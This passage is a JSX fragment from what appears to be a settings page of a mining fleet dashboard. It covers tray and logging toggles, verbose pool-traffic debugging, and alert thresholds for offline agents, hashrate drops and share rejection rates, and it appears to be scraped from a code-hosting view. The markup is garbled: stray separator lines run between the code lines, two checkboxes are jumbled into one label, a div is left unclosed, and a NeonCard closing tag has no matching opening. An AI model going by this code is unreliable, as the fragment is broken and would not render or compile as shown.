onChange={(e) => updateField('background.minimize_to_tray', e.target.checked)}
|
||||
/>
|
||||
<span>Minimize to System Tray</span>
|
||||
<input type="checkbox" className="checkbox" checked={s.log_share_submissions}
|
||||
onChange={(e) => updateField('server.log_share_submissions', e.target.checked)} />
|
||||
<span>Log every share submission</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Alerts */}
|
||||
<div className="card settings-section">
|
||||
<h2>Alerts</h2>
|
||||
<p className="section-desc">Configure thresholds for fleet health alerts.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Offline Threshold (minutes)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
value={config.alerts.offline_threshold_minutes}
|
||||
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)}
|
||||
/>
|
||||
<span className="form-hint">Alert if agent hasn't reported in this many minutes</span>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.log_pool_traffic}
|
||||
onChange={(e) => updateField('server.log_pool_traffic', e.target.checked)} />
|
||||
<span>Verbose pool traffic (debug)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Hashrate Drop Threshold (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
value={config.alerts.hashrate_drop_threshold_pct}
|
||||
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)}
|
||||
/>
|
||||
<span className="form-hint">Alert if hashrate drops by this percentage</span>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Rejection Rate Threshold (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
value={config.alerts.rejection_rate_threshold_pct}
|
||||
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)}
|
||||
/>
|
||||
<span className="form-hint">Alert if share rejection rate exceeds this percentage</span>
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
Reference in New Issue
Block a user